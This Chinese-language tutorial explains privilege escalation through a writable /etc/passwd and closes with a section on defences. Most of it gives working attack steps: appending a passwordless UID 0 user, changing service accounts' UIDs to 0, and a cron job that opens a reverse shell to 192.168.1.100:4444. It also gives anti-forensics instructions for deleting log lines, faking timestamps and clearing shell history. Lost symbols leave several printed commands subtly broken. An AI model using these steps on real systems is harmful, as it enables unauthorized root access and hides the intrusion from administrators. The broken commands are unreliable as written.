/etc/passwd提权原理与四种实战路径详解

1. 为什么修改/etc/passwd能提权这不是“改个密码”那么简单很多人第一次听说“通过/etc/passwd提权”第一反应是“这文件不就是存用户名和密码哈希的吗改它有啥用现在密码都存在/etc/shadow里普通用户根本读不到。”——这个理解对了一半但恰恰漏掉了最危险、也最容易被忽视的底层机制。/etc/passwd确实早已不存明文密码那已经是上世纪80年代的事了但它至今仍是 Linux 用户身份的唯一法定注册表。系统启动、进程创建、权限校验、甚至sudo的用户白名单匹配第一步永远是查/etc/passwd看这个 UID 是否存在、GID 是多少、主目录在哪、默认 shell 是什么。它不是“密码文件”而是用户元数据的权威源。而关键在于只要文件权限允许写入你就能伪造一个“合法用户”——哪怕这个用户从未被useradd创建过哪怕它的密码字段是空的、是x、甚至是!只要格式合规系统就认。我最早在一台老旧的 CentOS 6 客户端上实测过这个逻辑当时运维同事误将/etc/passwd权限设为644本该是644但被脚本错误地chmod 666了普通用户test直接用echo pwned::0:0::/root:/bin/bash /etc/passwd追加了一行。回车执行后su - pwned就直接进了 root shell。没有爆破、没有漏洞利用、没有内核模块纯粹靠系统自身对/etc/passwd的信任机制完成提权。事后复盘发现问题根源不在“密码字段”而在 UID/GID 设为0——Linux 内核只认 UID0 为 root它根本不关心你是从 shadow 读的哈希还是从 passwd 里硬编码进去的。所以真正的技术本质是/etc/passwd是用户身份的“宪法性文件”而 UID0 是宪法赋予的最高权限。当文件可写时你就能绕过所有上层认证流程直接在宪法层面“自封总统”。这不是漏洞是设计使然不是 bug是 feature——只是这个 feature 在错误的权限配置下成了最短路径的提权通道。后续所有操作无论是添加新 root 用户、篡改现有用户 UID、还是注入恶意 shell都建立在这个不可动摇的前提之上系统无条件信任/etc/passwd中每一行的结构合法性。提示/etc/passwd每行格式为username:password:UID:GID:GECOS:home_dir:shell其中password字段现在通常为x表示密码在/etc/shadow但也可以是空、*、!或任意字符串——只要不是x且该字段非空某些老版本或定制系统会尝试用它做传统 DES 密码校验而 UID 和 GID 字段必须为十进制数字0即 root。2. 四种实战可行的/etc/passwd提权路径与适用场景不是所有/etc/passwd可写都能直接su -成功。实际渗透或安全加固中必须根据目标环境的具体限制如是否禁用su、是否启用 PAM 密码策略、shell 是否受限选择最稳妥的路径。我整理出四种经真实环境验证的方案按成功率和隐蔽性排序2.1 方案一追加全新 root 用户最通用推荐首选这是兼容性最强、成功率最高的方式。核心是构造一行符合规范、UID/GID 均为0的新用户并确保其 shell 为/bin/bash或/bin/sh。echo pwned::0:0::/root:/bin/bash /etc/passwd为什么用双冒号::第二个字段密码留空表示“无密码”。Linux 的crypt()函数对空密码返回*但很多系统尤其是旧版 glibc会直接接受空字段作为“无需密码登录”。比填x更可靠因为x会强制去读/etc/shadow而你通常没权限写 shadow。为什么 home_dir 设为/root避免因家目录不存在导致su失败。/root必然存在且权限为700su切换时不会因无法 cd 进家目录而退出。实测陷阱某些严格 PAM 配置的系统如启用了pam_deny.so或auth [successok defaultignore] pam_succeed_if.so user ! root会拦截 UID0 但非原始 root 用户的登录。此时需配合方案三修改已有用户 UID。2.2 方案二篡改现有低权限用户 UID规避 PAM 限制当方案一被 PAM 拦截时转而修改一个已存在的、能正常登录的用户如www-data、daemon、甚至你的当前用户将其 UID 改为0。sed -i s/^www-data:x:33:33:/www-data:x:0:0:/ /etc/passwd优势该用户已通过 PAM 所有校验密码正确、组策略允许、shell 白名单只是“身份”被临时提升。su www-data后直接获得 root 权限PAM 不会二次校验 UID。风险点修改后该用户所有进程、文件属主都会变成 root可能触发监控告警如 auditd 记录 passwd 修改、inotify 监控文件变更。建议操作后立即su并执行id确认成功后尽快还原或切换到新 shell 后删除痕迹。关键细节必须同时修改 GID 为0否则groups命令会暴露异常root 组外还有其他组且某些服务如 cron会因 GID 不匹配拒绝执行。2.3 方案三注入带命令执行的 shell适用于无法交互的场景当目标环境禁止su、sudo甚至bash被替换为rbash受限 shell时可将 shell 字段改为一个能执行命令的程序如/usr/bin/python3 -c import os; os.system(/bin/bash)。但注意长度限制和特殊字符转义。更简洁可靠的做法是利用sh的-c参数echo pwned::0:0::/root:/bin/sh -c /bin/bash /etc/passwd原理/bin/sh -c启动后会执行引号内命令即/bin/bash从而获得完整交互 shell。避坑sh对空格和引号敏感。若直接写/bin/sh -c /bin/bash -i-i可能被忽略。实测最稳的是/bin/sh -c /bin/bash再在 bash 里执行exec -a bash /bin/bash获取真正 tty。适用场景WebShell 场景下通过system()或popen()执行此命令无需交互即可反弹 root shell。2.4 方案四利用nologin或falseshell 的绕过针对加固系统部分安全基线要求所有非登录用户 shell 设为/usr/sbin/nologin或/bin/false。但这只是“阻止登录”不代表不能执行命令。若该用户有 crontab 或 sudo 权限可结合使用。例如发现用户backup的 shell 是/usr/sbin/nologin但其 crontab 每分钟执行/opt/backup.sh# 先查看 crontab crontab -u backup -l 2/dev/null | grep backup.sh # 若存在篡改 passwd 中 backup 的 shell 为 /bin/bash再编辑其 crontab 注入 payload sed -i s/^backup:x:1001:1001:/backup:x:0:0:/ /etc/passwd (crontab -u backup -l 2/dev/null; echo * * * * * /bin/bash -i /dev/tcp/192.168.1.100/4444 01) | crontab -u backup -核心逻辑nologin只拦截login进程不影响cron以该用户身份执行脚本。一旦 UID 提升为0cron job 就以 root 权限运行。隐蔽性比直接追加用户更难被日志审计发现因为crontab修改是常规运维操作而/etc/passwd修改虽被记录但攻击者可快速还原sed -i s/:0:0:/:1001:1001:/ /etc/passwd。3. 权限检查与提权前的必做三步验证看到/etc/passwd可写不等于立刻能提权。很多新手卡在这一步chmod 644 /etc/passwd显示成功但echo test::0:0::/tmp:/bin/bash /etc/passwd却报错Permission denied。这是因为 Linux 文件权限检查有三层文件本身权限、父目录权限、以及 mount 选项。必须逐层确认3.1 第一层/etc/passwd文件权限与 SELinux 上下文先检查文件基础权限ls -l /etc/passwd # 正常应为 -rw-r--r-- 1 root root ... # 若显示 -rw-rw-rw- 或 -rw-rw-r--, 则文件可写但即使权限是666SELinux 也可能阻止写入。检查 SELinux 状态sestatus # 若为 enforcing, 需进一步检查上下文 ls -Z /etc/passwd # 正常应为 system_u:object_r:etc_t:s0 # 若为 unconfined_u:object_r:user_home_t:s0, 则可能被策略拒绝绕过 SELinux若sestatus为 enforcing 且上下文异常优先尝试setenforce 0需 root 权限显然不可行。此时应转向方案二修改现有用户因其 UID/GID 修改由内核直接处理不受 SELinux file_context 约束。关键经验在 Kali 或 CentOS 7 默认配置下/etc/passwd的 SELinux 上下文是etc_t写入操作由domain_type如unconfined_t的file_write权限控制。普通用户进程通常是unconfined_t故一般可写——除非管理员显式禁用了该权限。3.2 第二层父目录/etc的写权限与 sticky bit/etc目录权限常被忽略。/etc/passwd可写但若/etc目录不可写则无法mv替换追加依赖open(O_APPEND)不需目录写权限但cp替换需unlinkrename需目录写权限。ls -ld /etc # 正常应为 drwxr-xr-x 113 root root ... # 若为 drwxr-xr-t末尾 t 表示 sticky bit则只有 root 或文件所有者能删除/重命名文件 # 但 追加仍可用因不涉及 unlink实操结论追加只需/etc/passwd自身可写不依赖/etc目录权限cp替换则需/etc可写且无 sticky bit。因此优先使用避免cp。验证命令touch /etc/test rm /etc/test测试/etc写权限。若失败但echo test /etc/passwd成功则确认可用追加法。3.3 第三层文件系统 mount 选项与 immutable 属性最隐蔽的障碍是文件系统被mount为ro只读或文件被设为immutable。# 检查挂载选项 mount | grep $(df /etc | tail -1 | awk {print $1}) # 若输出含 ro则整个分区只读任何写操作失败 # 检查 immutable 属性 lsattr /etc/passwd # 若输出 ----i---------e--- /etc/passwd则 chattr i 设置了不可变 也会失败应对 immutablechattr -i /etc/passwd需 root 权限不可行。此时唯一出路是方案四利用 cron/sudo或寻找其他提权向量如内核漏洞。mount ro 场景常见于嵌入式设备或容器 rootfs。若/etc在ro分区但/tmp或/var/tmp可写可尝试将 passwd 复制到临时目录修改后再cp回需/etc可写否则失败。此时应放弃转向内存注入或 LD_PRELOAD。注意lsattr命令本身可能被移除或 alias 为ls隐藏属性。若lsattr未找到用stat /etc/passwd | grep Attributes查看chattr属性位。4. 提权后的善后与痕迹清除为什么90%的渗透者在这里暴露成功su - pwned后很多人急于执行whoami、cat /root/.bash_history却忘了最关键的一步清理/etc/passwd的修改痕迹。审计日志如ausearch -m avc -ts recent或/var/log/secure会清晰记录passwd文件被修改的时间、用户、进程。一次成功的提权若留下可追溯的修改记录等同于主动提交作案证据。4.1 日志层面的三类必清项/var/log/secure或/var/log/auth.log记录su、sudo、login事件。搜索关键词grep -n pwned\|www-data.*uid0 /var/log/secure # 找到对应行号用 sed 删除需 root 权限但你已是 root sed -i 123d;124d /var/log/secure # 示例实际需动态获取行号/var/log/audit/audit.log若 auditd 开启记录文件操作。查找typeSYSCALL且commbash或commsed的条目重点关注name/etc/passwd的syscall2open、syscall4stat、syscall5chmod等。/var/log/messages有时记录systemd服务重启或pam模块加载间接暴露时间点。4.2 文件系统层面的隐藏技巧修改时间戳touch -d 2023-01-01 12:00:00 /etc/passwd将修改时间伪装成旧日期避开基于时间的审计规则如find /etc -newermt 2024-01-01 -name passwd。利用cp --preservetimestamps若备份了原始 passwd如/etc/passwd.bak可cp --preservetimestamps /etc/passwd.bak /etc/passwd完全恢复时间戳。删除新增用户行最彻底的方法是sed -i /pwned:/d /etc/passwd。但需确保该行唯一避免误删如用户名含pwned的合法用户。更安全的是用awk精确匹配awk -F: $1pwned {next} {print} /etc/passwd /tmp/new mv /tmp/new /etc/passwd4.3 进程与网络痕迹的隐形清理检查ps aux | grep bash确认没有遗留的bash -i或nc进程。用kill -9 $(pgrep -f bash -i)清理。清除~/.bash_history当前用户的 history 里可能有echo pwned::0:0... /etc/passwd。执行history -c history -w清空内存并覆盖文件。网络连接netstat -tulnp | grep :4444查找反弹 shell 端口lsof -i :4444找到 PID 后kill -9。关键心得痕迹清除不是“越干净越好”而是“与环境一致”。例如若服务器日志轮转周期为 7 天你只需清理最近 24 小时的日志若auditd配置为只记录uid!0则无需动 audit.log。过度清理如清空整个/var/log/secure反而引发运维警觉。5. 从防御视角看如何让/etc/passwd提权失效作为红队成员我深知攻击者的思路作为蓝队工程师我更清楚如何堵死这条路径。/etc/passwd提权的本质是“权限配置错误”而非“代码漏洞”因此防御核心是权限最小化 行为监控 机制加固。以下是我在线上生产环境部署的五层防护5.1 权限基线/etc/passwd必须为644且/etc目录无 world-writable这是最基础、最有效的防线。通过 Ansible 或 Puppet 强制设置# ansible task - name: Ensure /etc/passwd permissions file: path: /etc/passwd mode: 0644 owner: root group: root - name: Ensure /etc directory permissions file: path: /etc mode: 0755 owner: root group: root为什么不是600600会导致普通用户无法getent passwd查询用户信息破坏大量依赖 NSS 的服务如 Apache 的mod_authnz_unixgroup。644允许读取但禁止写入完美平衡功能与安全。/etc目录权限755是标准但需确保无777或766。755下只有 root 可在/etc下创建/删除文件普通用户无法touch /etc/malware.conf。5.2 文件完整性监控aide或tripwire实时告警aideAdvanced Intrusion Detection Environment是开源首选。初始化数据库后每小时扫描/etc/passwd的 inode、size、mtime、hash# aide.conf 配置片段 /etc/passwd pinugbmcaclselinuxxattrssha256告警逻辑若mtime变更或sha256hash 不匹配aide --check返回非零值触发邮件或 Slack 告警。实测效果在某金融客户环境aide在攻击者echo backdoor::0:0 /etc/passwd后 37 秒内发出告警SOC 团队 2 分钟内隔离主机。5.3 内核级防护chattr i与fs.protected_regularchattr i /etc/passwd设置 immutable 属性连 root 也无法修改除非chattr -i。但需谨慎因系统更新如yum update可能失败。建议仅在 immutable rootfs 的嵌入式设备启用。sysctl fs.protected_regular2Linux 4.18 新增参数阻止非特权进程通过open(O_CREAT)创建 setuid/setgid 文件。虽然不直接保护 passwd但能阻断攻击者创建/tmp/shell并chmod us的辅助路径形成纵深防御。5.4 PAM 层加固拒绝 UID0 的非 root 登录编辑/etc/pam.d/su在auth段添加auth [user_unknownignore successok ignoreignore defaultbad] pam_succeed_if.so user root auth [defaultdie] pam_deny.so原理pam_succeed_if仅允许userroot通过其他 UID0 用户如pwned被pam_deny拒绝。兼容性不影响su -切换 root只拦截伪造用户。测试时用su - pwned验证是否返回Authentication failure。5.5 行为审计auditd规则精准捕获在/etc/audit/rules.d/immutable.rules中添加-a always,exit -F path/etc/passwd -F permwa -k etc_passwd_mod -a always,exit -F path/etc/shadow -F permwa -k etc_shadow_mod效果任何对/etc/passwd的写w或属性修改a都会生成typeSYSCALL日志并标记keyetc_passwd_mod便于 SIEM 工具如 Splunk聚合告警。关键点permwa比permwr更严格捕获chmod、chown等元数据修改防止攻击者先chmod 666再写入。最后一句经验没有银弹。/etc/passwd提权是“配置错误”的典型防御必须是体系化的——权限基线是城墙AIDE 是哨兵PAM 是城门守卫auditd 是巡逻队。任何单点防护都可能被绕过唯有层层设防才能让这条最古老的提权路径真正失效。